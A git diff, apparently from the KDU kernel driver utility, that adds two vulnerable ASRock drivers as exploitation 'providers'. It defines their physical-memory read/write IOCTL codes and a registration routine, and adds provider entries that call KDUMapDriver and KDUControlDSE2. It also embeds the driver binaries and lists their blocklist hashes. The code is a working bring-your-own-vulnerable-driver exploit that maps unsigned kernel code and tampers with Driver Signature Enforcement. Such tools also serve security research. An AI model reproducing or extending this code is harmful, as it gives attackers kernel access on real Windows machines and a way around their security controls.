diff --git a/README.md b/README.md index 44bcdee..b2dbd10 100644 --- a/README.md +++ b/README.md @@ -159,6 +159,8 @@ Note: Provider with Id 0 assumed as default if no -prv command is specified. | 47 | EVGA | EleetX1| EVGA ELEET X1 | 1.0.16.0 and below | | | 48 | ASRock | AxtuDrv | AsRock Extreme Tuner | Undefined | | | 49 | ASRock | AppShopDrv103 | ASRock APP Shop | 1.0.58 and below | | +| 50 | ASRock | AsrDrv107n | ASRock Motherboard Utility | 3.0.498 and below | | +| 51 | ASRock | AsrDrv107 | ASRock Motherboard Utility | 3.0.498 and below | | MSFT blacklist types: * Cert - by certificate used to sign the driver which makes it possible to ban huge number of files at one time. @@ -218,6 +220,8 @@ MSFT blacklist types: |47|Original||**File(SHA1):** DA66B66DCA5EA8689DB903EC23E98F2C881DE6F8
**Authenticode(SHA1):** A8D16FED8999033126D60C656A3BA359DFAA559F
**Page(SHA1):** 082FBFF03465F78276D5A2066398A9D3C73DB9AB
**Page(SHA256):** F677A9447400EAEE6E12A88F59AAADCF6DDF8F16EC8F7612BF50AB378A9B9012| |48|RWEverything||**File(SHA1):** 3F6A997B04D2299BA0E9F505803E8D60D0755F44
**Authenticode(SHA1):** E7FAC017B371A43276E03BF5F71D437E8D377930
**Page(SHA1):** EE9A5A98C257F2D50030B7F3AB6D7DA805FCC150
**Page(SHA256):** D159D969E05C83F27F446BCC5F171A0043CC3DF0B518962CEE7ACBE30BCC02F8| |49|RWEverything||**File(SHA1):** 6074C2360F5DC74738873A525DFBD67EB6625986
**Authenticode(SHA1):** 03C523F31603C460076AD549F985DD9533734E95
**Page(SHA1):** 85B6FC43E943C9EB9B3DE1FF82A56870620CC1CF
**Page(SHA256):** A3AF7747FAC60B814FA6717B174F1199B9D163081B55AE40CEDD9983B6D033F5| +|50|RWEverything||**File(SHA1):** 11D7E0D29AB17292FD43BDD5CCB7DA0403E50E52
**Authenticode(SHA1):** CA06D9FD91F7B681204B35975D5C069D0DABE276
**Page(SHA1):** B7693E1170B01F24A824892607C2258CA653805A
**Page(SHA256):** B8776F6889CF3D8252F0912DD9745F8EFF4513292DF2B2B1D484CDBC68FBAE4C| +|51|RWEverything||**File(SHA1):** B1FAD5DA173C6A603FFFE20E0CB5F0BDCA823BD5
**Authenticode(SHA1):** 268073AD0B17E2161C1A2A6C5B1BDEBB7B3011B4
**Page(SHA1):** 0B48F35DAF8B8BC9BA4E413EF222415EAB791AE0
**Page(SHA256):** B073907634013A8EB65E4C8AA42535BAD08101E58B7B1489AEE395B7BE9C69E2| ###### *At commit time, data maybe inaccurate. diff --git a/Source/Hamakaze/KDU.vcxproj.user b/Source/Hamakaze/KDU.vcxproj.user index 64d6898..f99e547 100644 --- a/Source/Hamakaze/KDU.vcxproj.user +++ b/Source/Hamakaze/KDU.vcxproj.user @@ -5,7 +5,7 @@ WindowsLocalDebugger - -prv 49 -map c:\install\dummy.sys + -prv 48 -map c:\install\dummy.sys WindowsLocalDebugger \ No newline at end of file diff --git a/Source/Hamakaze/idrv/asrdrv.cpp b/Source/Hamakaze/idrv/asrdrv.cpp index 92def7a..6562d8c 100644 --- a/Source/Hamakaze/idrv/asrdrv.cpp +++ b/Source/Hamakaze/idrv/asrdrv.cpp @@ -27,6 +27,9 @@ #define ASROCK_AES_KEY "C110DD4FE9434147B92A5A1E3FDBF29A" #define ASROCK_AES_KEY_LENGTH sizeof(ASROCK_AES_KEY) - sizeof(CHAR) +ULONG g_AsrReadPhysIOCTL; +ULONG g_AsrWritePhysIOCTL; + /* * AsrEncryptDriverRequest * @@ -268,6 +271,9 @@ BOOL WINAPI AsrWritePhysicalMemory( &args); } + + + /* * RweReadPhysicalMemory * @@ -301,7 +307,7 @@ BOOL WINAPI RweReadPhysicalMemory( request.Granularity = AsrGranularityDword; if (supCallDriver(DeviceHandle, - IOCTL_RWDRV_READ_MEMORY, + g_AsrReadPhysIOCTL, &request, sizeof(request), &request, @@ -339,9 +345,39 @@ BOOL WINAPI RweWritePhysicalMemory( request.Data = (PBYTE)Buffer; return supCallDriver(DeviceHandle, - IOCTL_RWDRV_WRITE_MEMORY, + g_AsrWritePhysIOCTL, &request, sizeof(request), &request, sizeof(request)); } + +/* +* AsrRegisterDriver +* +* Purpose: +* +* Register AsRock driver. +* +*/ +BOOL WINAPI AsrRegisterDriver( + _In_ HANDLE DeviceHandle, + _In_opt_ PVOID Param) +{ + ULONG DriverId = PtrToUlong(Param); + + UNREFERENCED_PARAMETER(DeviceHandle); + + g_AsrReadPhysIOCTL = IOCTL_RWDRV_READ_MEMORY; + g_AsrWritePhysIOCTL = IOCTL_RWDRV_WRITE_MEMORY; + + switch (DriverId) { + + case IDR_ASROCKDRV3: + g_AsrReadPhysIOCTL = IOCTL_RWDRV_READ_MEMORY_7N; + g_AsrWritePhysIOCTL = IOCTL_RWDRV_WRITE_MEMORY_7N; + break; + } + + return TRUE; +} diff --git a/Source/Hamakaze/idrv/asrdrv.h b/Source/Hamakaze/idrv/asrdrv.h index ea81c32..a96ce8c 100644 --- a/Source/Hamakaze/idrv/asrdrv.h +++ b/Source/Hamakaze/idrv/asrdrv.h @@ -6,7 +6,7 @@ * * VERSION: 1.41 * -* DATE: 10 Dec 2023 +* DATE: 11 Dec 2023 * * ASRock driver interface header. * @@ -38,6 +38,13 @@ #define IOCTL_RWDRV_WRITE_MEMORY \ CTL_CODE(FILE_DEVICE_UNKNOWN, ASRDRV_WRITE_MEMORY, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x0022280C +#define IOCTL_RWDRV_READ_MEMORY_7N \ + CTL_CODE(FILE_DEVICE_UNKNOWN, ASRDRV_READ_MEMORY, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) //0x0022E808 + +#define IOCTL_RWDRV_WRITE_MEMORY_7N \ + CTL_CODE(FILE_DEVICE_UNKNOWN, ASRDRV_WRITE_MEMORY, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS) //0x0022E80C + + // // Based on CVE-2020-15368 // @@ -109,3 +116,7 @@ BOOL WINAPI RweWritePhysicalMemory( _In_ ULONG_PTR PhysicalAddress, _In_ PVOID Buffer, _In_ ULONG NumberOfBytes); + +BOOL WINAPI AsrRegisterDriver( + _In_ HANDLE DeviceHandle, + _In_opt_ PVOID Param); diff --git a/Source/Hamakaze/kduplist.h b/Source/Hamakaze/kduplist.h index b371a36..c3e4b12 100644 --- a/Source/Hamakaze/kduplist.h +++ b/Source/Hamakaze/kduplist.h @@ -1339,6 +1339,32 @@ static KDU_PROVIDER g_KDUProviders[] = (provOpenProcess)NULL }, + { + NULL, + + (provStartVulnerableDriver)KDUProvStartVulnerableDriver, + (provStopVulnerableDriver)KDUProvStopVulnerableDriver, + + (provRegisterDriver)AsrRegisterDriver, + (provUnregisterDriver)NULL, + (provPreOpenDriver)NULL, + (provPostOpenDriver)KDUProviderPostOpen, + (provMapDriver)KDUMapDriver, + (provControlDSE)KDUControlDSE2, + + (provReadKernelVM)NULL, + (provWriteKernelVM)NULL, + + (provVirtualToPhysical)NULL, + (provQueryPML4)NULL, + (provReadPhysicalMemory)RweReadPhysicalMemory, + (provWritePhysicalMemory)RweWritePhysicalMemory, + + (provValidatePrerequisites)NULL, + + (provOpenProcess)NULL + }, + { NULL, @@ -1355,6 +1381,33 @@ static KDU_PROVIDER g_KDUProviders[] = (provReadKernelVM)NULL, (provWriteKernelVM)NULL, + (provVirtualToPhysical)NULL, + (provQueryPML4)NULL, + (provReadPhysicalMemory)AsrReadPhysicalMemory, + (provWritePhysicalMemory)AsrWritePhysicalMemory, + + (provValidatePrerequisites)NULL, + + (provOpenProcess)NULL + }, + + + { + NULL, + + (provStartVulnerableDriver)KDUProvStartVulnerableDriver, + (provStopVulnerableDriver)KDUProvStopVulnerableDriver, + + (provRegisterDriver)AsrRegisterDriver, + (provUnregisterDriver)NULL, + (provPreOpenDriver)NULL, + (provPostOpenDriver)KDUProviderPostOpen, + (provMapDriver)KDUMapDriver, + (provControlDSE)KDUControlDSE2, + + (provReadKernelVM)NULL, + (provWriteKernelVM)NULL, + (provVirtualToPhysical)NULL, (provQueryPML4)NULL, (provReadPhysicalMemory)RweReadPhysicalMemory, @@ -1365,6 +1418,7 @@ static KDU_PROVIDER g_KDUProviders[] = (provOpenProcess)NULL }, + { NULL, diff --git a/Source/Hamakaze/tests.cpp b/Source/Hamakaze/tests.cpp index 94754e8..c1b68c4 100644 --- a/Source/Hamakaze/tests.cpp +++ b/Source/Hamakaze/tests.cpp @@ -188,7 +188,7 @@ VOID KDUTest() // KDUTestLoad(); // TestSymbols(); - Context = KDUProviderCreate(48, + Context = KDUProviderCreate(50, FALSE, NT_WIN10_20H1, KDU_SHELLCODE_V1, diff --git a/Source/Tanikaze/Tanikaze.vcxproj b/Source/Tanikaze/Tanikaze.vcxproj index 1920942..1244cfe 100644 --- a/Source/Tanikaze/Tanikaze.vcxproj +++ b/Source/Tanikaze/Tanikaze.vcxproj @@ -192,6 +192,8 @@ + + diff --git a/Source/Tanikaze/Tanikaze.vcxproj.filters b/Source/Tanikaze/Tanikaze.vcxproj.filters index ad5a400..8ae8135 100644 --- a/Source/Tanikaze/Tanikaze.vcxproj.filters +++ b/Source/Tanikaze/Tanikaze.vcxproj.filters @@ -211,6 +211,12 @@ Resource Files + + Resource Files + + + Resource Files + diff --git a/Source/Tanikaze/data/AsusCertService.bin b/Source/Tanikaze/data/AsusCertService.bin index 08318e0..d5f0fe4 100644 Binary files a/Source/Tanikaze/data/AsusCertService.bin and b/Source/Tanikaze/data/AsusCertService.bin differ diff --git a/Source/Tanikaze/data/KMUEXE.bin b/Source/Tanikaze/data/KMUEXE.bin index 1d261a8..7dc46a1 100644 Binary files a/Source/Tanikaze/data/KMUEXE.bin and b/Source/Tanikaze/data/KMUEXE.bin differ diff --git a/Source/Tanikaze/data/KMUSIG.bin b/Source/Tanikaze/data/KMUSIG.bin index e5a059e..b7396d0 100644 --- a/Source/Tanikaze/data/KMUSIG.bin +++ b/Source/Tanikaze/data/KMUSIG.bin @@ -1,2 +1,2 @@ -7jz,]qq>Vf[&S>oְkFzQy,-ҷ}eI8q^g0^r*(a7p}?4FjB\0K$1g^퉄bV`ʹ%뇱7*֯>wi +7RMz,]qq>Vf[&S>oְkFzQy,-ҷ}eI8q^g0^r*(a7p}?4FjB\0K$1g^퉄bV`ʹ%뇱7*֯>wi mV?SH/08H ] \ No newline at end of file diff --git a/Source/Tanikaze/data/dbutilcat.bin b/Source/Tanikaze/data/dbutilcat.bin index 9592bb3..e462787 100644 Binary files a/Source/Tanikaze/data/dbutilcat.bin and b/Source/Tanikaze/data/dbutilcat.bin differ diff --git a/Source/Tanikaze/data/dbutilinf.bin b/Source/Tanikaze/data/dbutilinf.bin index 5f240a5..4baa41e 100644 Binary files a/Source/Tanikaze/data/dbutilinf.bin and b/Source/Tanikaze/data/dbutilinf.bin differ diff --git a/Source/Tanikaze/drv/ALSysIO64.bin b/Source/Tanikaze/drv/ALSysIO64.bin index 5045c4a..d51264b 100644 Binary files a/Source/Tanikaze/drv/ALSysIO64.bin and b/Source/Tanikaze/drv/ALSysIO64.bin differ diff --git a/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin b/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin index 9169612..6dd6fed 100644 Binary files a/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin and b/Source/Tanikaze/drv/AMDRyzenMasterDriver.bin differ diff --git a/Source/Tanikaze/drv/AODDriver215.bin b/Source/Tanikaze/drv/AODDriver215.bin index 306a521..7e6984e 100644 Binary files a/Source/Tanikaze/drv/AODDriver215.bin and b/Source/Tanikaze/drv/AODDriver215.bin differ diff --git a/Source/Tanikaze/drv/ATSZIO64.bin b/Source/Tanikaze/drv/ATSZIO64.bin index 69a5b24..db0d494 100644 Binary files a/Source/Tanikaze/drv/ATSZIO64.bin and b/Source/Tanikaze/drv/ATSZIO64.bin differ diff --git a/Source/Tanikaze/drv/AppShopDrv103.bin b/Source/Tanikaze/drv/AppShopDrv103.bin index f15d92a..18ac56f 100644 Binary files a/Source/Tanikaze/drv/AppShopDrv103.bin and b/Source/Tanikaze/drv/AppShopDrv103.bin differ diff --git a/Source/Tanikaze/drv/AsIO3.bin b/Source/Tanikaze/drv/AsIO3.bin index ef49fa0..4f6abfb 100644 Binary files a/Source/Tanikaze/drv/AsIO3.bin and b/Source/Tanikaze/drv/AsIO3.bin differ diff --git a/Source/Tanikaze/drv/AsrDrv106.bin b/Source/Tanikaze/drv/AsrDrv106.bin index c4403d6..e05785c 100644 Binary files a/Source/Tanikaze/drv/AsrDrv106.bin and b/Source/Tanikaze/drv/AsrDrv106.bin differ diff --git a/Source/Tanikaze/drv/AsrDrv107.bin b/Source/Tanikaze/drv/AsrDrv107.bin new file mode 100644 index 0000000..d3150ae Binary files /dev/null and b/Source/Tanikaze/drv/AsrDrv107.bin differ diff --git a/Source/Tanikaze/drv/AsrDrv107n.bin b/Source/Tanikaze/drv/AsrDrv107n.bin new file mode 100644 index 0000000..d689159 Binary files /dev/null and b/Source/Tanikaze/drv/AsrDrv107n.bin differ diff --git a/Source/Tanikaze/drv/AxtuDrv.bin b/Source/Tanikaze/drv/AxtuDrv.bin index 0a8b789..fe39ba3 100644 Binary files a/Source/Tanikaze/drv/AxtuDrv.bin and b/Source/Tanikaze/drv/AxtuDrv.bin differ diff --git a/Source/Tanikaze/drv/DbUtil2_3.bin b/Source/Tanikaze/drv/DbUtil2_3.bin index a7a2b4e..c85223c 100644 Binary files a/Source/Tanikaze/drv/DbUtil2_3.bin and b/Source/Tanikaze/drv/DbUtil2_3.bin differ diff --git a/Source/Tanikaze/drv/DirectIo64.bin b/Source/Tanikaze/drv/DirectIo64.bin index 0e882d9..38c24bc 100644 Binary files a/Source/Tanikaze/drv/DirectIo64.bin and b/Source/Tanikaze/drv/DirectIo64.bin differ diff --git a/Source/Tanikaze/drv/DirectIo64_2.bin b/Source/Tanikaze/drv/DirectIo64_2.bin index 4df8395..e694a75 100644 Binary files a/Source/Tanikaze/drv/DirectIo64_2.bin and b/Source/Tanikaze/drv/DirectIo64_2.bin differ diff --git a/Source/Tanikaze/drv/EneIo64.bin b/Source/Tanikaze/drv/EneIo64.bin index e4f23ac..a7fe15b 100644 Binary files a/Source/Tanikaze/drv/EneIo64.bin and b/Source/Tanikaze/drv/EneIo64.bin differ diff --git a/Source/Tanikaze/drv/EneTechIo64.bin b/Source/Tanikaze/drv/EneTechIo64.bin index c206aca..9d7b3eb 100644 Binary files a/Source/Tanikaze/drv/EneTechIo64.bin and b/Source/Tanikaze/drv/EneTechIo64.bin differ diff --git a/Source/Tanikaze/drv/GLCKIO2.bin b/Source/Tanikaze/drv/GLCKIO2.bin index e57156c..ee1dee1 100644 Binary files a/Source/Tanikaze/drv/GLCKIO2.bin and b/Source/Tanikaze/drv/GLCKIO2.bin differ diff --git a/Source/Tanikaze/drv/HW64.bin b/Source/Tanikaze/drv/HW64.bin index d2be1b6..6786911 100644 Binary files a/Source/Tanikaze/drv/HW64.bin and b/Source/Tanikaze/drv/HW64.bin differ diff --git a/Source/Tanikaze/drv/KExplore.bin b/Source/Tanikaze/drv/KExplore.bin index 8797880..4841de7 100644 Binary files a/Source/Tanikaze/drv/KExplore.bin and b/Source/Tanikaze/drv/KExplore.bin differ diff --git a/Source/Tanikaze/drv/KObjExp.bin b/Source/Tanikaze/drv/KObjExp.bin index 0036be7..cb87a47 100644 Binary files a/Source/Tanikaze/drv/KObjExp.bin and b/Source/Tanikaze/drv/KObjExp.bin differ diff --git a/Source/Tanikaze/drv/KRegExp.bin b/Source/Tanikaze/drv/KRegExp.bin index a786a12..e1c577d 100644 Binary files a/Source/Tanikaze/drv/KRegExp.bin and b/Source/Tanikaze/drv/KRegExp.bin differ diff --git a/Source/Tanikaze/drv/LDD.bin b/Source/Tanikaze/drv/LDD.bin index c5bbcbc..a9d13f1 100644 Binary files a/Source/Tanikaze/drv/LDD.bin and b/Source/Tanikaze/drv/LDD.bin differ diff --git a/Source/Tanikaze/drv/MsIo64.bin b/Source/Tanikaze/drv/MsIo64.bin index 228af25..15b0f6a 100644 Binary files a/Source/Tanikaze/drv/MsIo64.bin and b/Source/Tanikaze/drv/MsIo64.bin differ diff --git a/Source/Tanikaze/drv/PdFwKrnl.bin b/Source/Tanikaze/drv/PdFwKrnl.bin index db683be..04c9705 100644 Binary files a/Source/Tanikaze/drv/PdFwKrnl.bin and b/Source/Tanikaze/drv/PdFwKrnl.bin differ diff --git a/Source/Tanikaze/drv/PhyDMACC.bin b/Source/Tanikaze/drv/PhyDMACC.bin index b7fc273..ecb3b61 100644 Binary files a/Source/Tanikaze/drv/PhyDMACC.bin and b/Source/Tanikaze/drv/PhyDMACC.bin differ diff --git a/Source/Tanikaze/drv/Phymemx64.bin b/Source/Tanikaze/drv/Phymemx64.bin index 025cf66..a528543 100644 Binary files a/Source/Tanikaze/drv/Phymemx64.bin and b/Source/Tanikaze/drv/Phymemx64.bin differ diff --git a/Source/Tanikaze/drv/RTCore64.bin b/Source/Tanikaze/drv/RTCore64.bin index f3c7d6d..00ff7e3 100644 Binary files a/Source/Tanikaze/drv/RTCore64.bin and b/Source/Tanikaze/drv/RTCore64.bin differ diff --git a/Source/Tanikaze/drv/SysDrv3S.bin b/Source/Tanikaze/drv/SysDrv3S.bin index aadac56..1c1e85e 100644 Binary files a/Source/Tanikaze/drv/SysDrv3S.bin and b/Source/Tanikaze/drv/SysDrv3S.bin differ diff --git a/Source/Tanikaze/drv/WinRing0x64.bin b/Source/Tanikaze/drv/WinRing0x64.bin index 84a3db8..8897a06 100644 Binary files a/Source/Tanikaze/drv/WinRing0x64.bin and b/Source/Tanikaze/drv/WinRing0x64.bin differ diff --git a/Source/Tanikaze/drv/amsdk.bin b/Source/Tanikaze/drv/amsdk.bin index ffd5d56..16f88f4 100644 Binary files a/Source/Tanikaze/drv/amsdk.bin and b/Source/Tanikaze/drv/amsdk.bin differ diff --git a/Source/Tanikaze/drv/asio2.bin b/Source/Tanikaze/drv/asio2.bin index 756d602..1e692bf 100644 Binary files a/Source/Tanikaze/drv/asio2.bin and b/Source/Tanikaze/drv/asio2.bin differ diff --git a/Source/Tanikaze/drv/dbk64.bin b/Source/Tanikaze/drv/dbk64.bin index 6174c2d..81e039c 100644 Binary files a/Source/Tanikaze/drv/dbk64.bin and b/Source/Tanikaze/drv/dbk64.bin differ diff --git a/Source/Tanikaze/drv/dbutildrv2.bin b/Source/Tanikaze/drv/dbutildrv2.bin index 694b471..e99d011 100644 Binary files a/Source/Tanikaze/drv/dbutildrv2.bin and b/Source/Tanikaze/drv/dbutildrv2.bin differ diff --git a/Source/Tanikaze/drv/echo_driver.bin b/Source/Tanikaze/drv/echo_driver.bin index 2187204..40c7ec4 100644 Binary files a/Source/Tanikaze/drv/echo_driver.bin and b/Source/Tanikaze/drv/echo_driver.bin differ diff --git a/Source/Tanikaze/drv/eleetx1.bin b/Source/Tanikaze/drv/eleetx1.bin index f5f1cda..1a010ae 100644 Binary files a/Source/Tanikaze/drv/eleetx1.bin and b/Source/Tanikaze/drv/eleetx1.bin differ diff --git a/Source/Tanikaze/drv/ene2.bin b/Source/Tanikaze/drv/ene2.bin index 90ac68b..cee572e 100644 Binary files a/Source/Tanikaze/drv/ene2.bin and b/Source/Tanikaze/drv/ene2.bin differ diff --git a/Source/Tanikaze/drv/etdsupp.bin b/Source/Tanikaze/drv/etdsupp.bin index b64e948..5d0915c 100644 Binary files a/Source/Tanikaze/drv/etdsupp.bin and b/Source/Tanikaze/drv/etdsupp.bin differ diff --git a/Source/Tanikaze/drv/gdrv.bin b/Source/Tanikaze/drv/gdrv.bin index 56a5fcc..d3012cb 100644 Binary files a/Source/Tanikaze/drv/gdrv.bin and b/Source/Tanikaze/drv/gdrv.bin differ diff --git a/Source/Tanikaze/drv/gmerdrv.bin b/Source/Tanikaze/drv/gmerdrv.bin index 7555a00..f869bf1 100644 Binary files a/Source/Tanikaze/drv/gmerdrv.bin and b/Source/Tanikaze/drv/gmerdrv.bin differ diff --git a/Source/Tanikaze/drv/heavenluo.bin b/Source/Tanikaze/drv/heavenluo.bin index 32ed3f8..b529229 100644 Binary files a/Source/Tanikaze/drv/heavenluo.bin and b/Source/Tanikaze/drv/heavenluo.bin differ diff --git a/Source/Tanikaze/drv/iQVM64.bin b/Source/Tanikaze/drv/iQVM64.bin index 01b33f6..b2e5f3e 100644 Binary files a/Source/Tanikaze/drv/iQVM64.bin and b/Source/Tanikaze/drv/iQVM64.bin differ diff --git a/Source/Tanikaze/drv/inpoutx64.bin b/Source/Tanikaze/drv/inpoutx64.bin index b753b38..7367a19 100644 Binary files a/Source/Tanikaze/drv/inpoutx64.bin and b/Source/Tanikaze/drv/inpoutx64.bin differ diff --git a/Source/Tanikaze/drv/irec.bin b/Source/Tanikaze/drv/irec.bin index 11e7c6f..f356430 100644 Binary files a/Source/Tanikaze/drv/irec.bin and b/Source/Tanikaze/drv/irec.bin differ diff --git a/Source/Tanikaze/drv/kprocesshacker.bin b/Source/Tanikaze/drv/kprocesshacker.bin index 207776f..d15c549 100644 Binary files a/Source/Tanikaze/drv/kprocesshacker.bin and b/Source/Tanikaze/drv/kprocesshacker.bin differ diff --git a/Source/Tanikaze/drv/lha.bin b/Source/Tanikaze/drv/lha.bin index 2da21b8..f8fddfe 100644 Binary files a/Source/Tanikaze/drv/lha.bin and b/Source/Tanikaze/drv/lha.bin differ diff --git a/Source/Tanikaze/drv/mimidrv.bin b/Source/Tanikaze/drv/mimidrv.bin index 162f2f8..80733c5 100644 Binary files a/Source/Tanikaze/drv/mimidrv.bin and b/Source/Tanikaze/drv/mimidrv.bin differ diff --git a/Source/Tanikaze/drv/nvoclock.bin b/Source/Tanikaze/drv/nvoclock.bin index e0345d8..edf1f85 100644 Binary files a/Source/Tanikaze/drv/nvoclock.bin and b/Source/Tanikaze/drv/nvoclock.bin differ diff --git a/Source/Tanikaze/drv/pcdsrvc_x64.bin b/Source/Tanikaze/drv/pcdsrvc_x64.bin index f13bae9..f214e02 100644 Binary files a/Source/Tanikaze/drv/pcdsrvc_x64.bin and b/Source/Tanikaze/drv/pcdsrvc_x64.bin differ diff --git a/Source/Tanikaze/drv/physmem.bin b/Source/Tanikaze/drv/physmem.bin index 0171421..f866db8 100644 Binary files a/Source/Tanikaze/drv/physmem.bin and b/Source/Tanikaze/drv/physmem.bin differ diff --git a/Source/Tanikaze/drv/procexp1627.bin b/Source/Tanikaze/drv/procexp1627.bin index 13420a1..664c82a 100644 Binary files a/Source/Tanikaze/drv/procexp1627.bin and b/Source/Tanikaze/drv/procexp1627.bin differ diff --git a/Source/Tanikaze/drv/procexp1702.bin b/Source/Tanikaze/drv/procexp1702.bin index d1ec3e6..0c3cc27 100644 Binary files a/Source/Tanikaze/drv/procexp1702.bin and b/Source/Tanikaze/drv/procexp1702.bin differ diff --git a/Source/Tanikaze/drv/rtkio64.bin b/Source/Tanikaze/drv/rtkio64.bin index b9ff056..74dfdbc 100644 Binary files a/Source/Tanikaze/drv/rtkio64.bin and b/Source/Tanikaze/drv/rtkio64.bin differ diff --git a/Source/Tanikaze/drv/rzpnk.bin b/Source/Tanikaze/drv/rzpnk.bin index 936bbef..3bfd0da 100644 Binary files a/Source/Tanikaze/drv/rzpnk.bin and b/Source/Tanikaze/drv/rzpnk.bin differ diff --git a/Source/Tanikaze/drv/wnBios64.bin b/Source/Tanikaze/drv/wnBios64.bin index 4400f5e..09dd21d 100644 Binary files a/Source/Tanikaze/drv/wnBios64.bin and b/Source/Tanikaze/drv/wnBios64.bin differ diff --git a/Source/Tanikaze/resource.h b/Source/Tanikaze/resource.h index bdd87a9..e4abe2b 100644 --- a/Source/Tanikaze/resource.h +++ b/Source/Tanikaze/resource.h @@ -51,6 +51,9 @@ #define IDR_EVGA_ELEETX1 149 #define IDR_ASROCKDRV2 150 #define IDR_ASROCKAPPSHOP103 151 +#define IDR_ASROCKDRV3 152 +#define IDR_RCDATA1 153 +#define IDR_ASROCKDRV4 153 #define IDR_DATA_DBUTILCAT 1000 #define IDR_DATA_DBUTILINF 1001 #define IDR_DATA_KMUEXE 1002 @@ -63,7 +66,7 @@ // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 152 +#define _APS_NEXT_RESOURCE_VALUE 154 #define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_CONTROL_VALUE 1007 #define _APS_NEXT_SYMED_VALUE 101 diff --git a/Source/Tanikaze/resource.rc b/Source/Tanikaze/resource.rc index 72a172b..e785316 100644 --- a/Source/Tanikaze/resource.rc +++ b/Source/Tanikaze/resource.rc @@ -162,6 +162,10 @@ IDR_ASROCKDRV2 RCDATA "drv\\AxtuDrv.bin" IDR_ASROCKAPPSHOP103 RCDATA "drv\\AppShopDrv103.bin" +IDR_ASROCKDRV3 RCDATA "drv\\AsrDrv107n.bin" + +IDR_ASROCKDRV4 RCDATA "drv\\AsrDrv107.bin" + ///////////////////////////////////////////////////////////////////////////// // diff --git a/Source/Tanikaze/tanikaze.h b/Source/Tanikaze/tanikaze.h index 21bdea3..0651e9d 100644 --- a/Source/Tanikaze/tanikaze.h +++ b/Source/Tanikaze/tanikaze.h @@ -773,6 +773,36 @@ KDU_DB_ENTRY gProvEntry[] = { (LPWSTR)L"AppShopDrv103", (LPWSTR)L"AppShopDrv103", (LPWSTR)L"ASROCK Incorporation" + }, + + { + KDU_MIN_NTBUILDNUMBER, + KDU_MAX_NTBUILDNUMBER, + IDR_ASROCKDRV3, + KDU_PROVIDER_ASROCK4, + KDU_VICTIM_DEFAULT, + SourceBaseRWEverything, + KDUPROV_FLAGS_SIGNATURE_WHQL | KDUPROV_FLAGS_PHYSICAL_BRUTE_FORCE, + KDUPROV_SC_ALL_DEFAULT, + (LPWSTR)L"ASRock IO Driver", + (LPWSTR)L"AsrDrv107n", + (LPWSTR)L"AsrDrv107n", + (LPWSTR)L"ASROCK INC." + }, + + { + KDU_MIN_NTBUILDNUMBER, + KDU_MAX_NTBUILDNUMBER, + IDR_ASROCKDRV4, + KDU_PROVIDER_ASROCK5, + KDU_VICTIM_DEFAULT, + SourceBaseRWEverything, + KDUPROV_FLAGS_SIGNATURE_WHQL | KDUPROV_FLAGS_PHYSICAL_BRUTE_FORCE, + KDUPROV_SC_ALL_DEFAULT, + (LPWSTR)L"ASRock IO Driver", + (LPWSTR)L"AsrDrv107", + (LPWSTR)L"AsrDrv107", + (LPWSTR)L"ASROCK INC." } };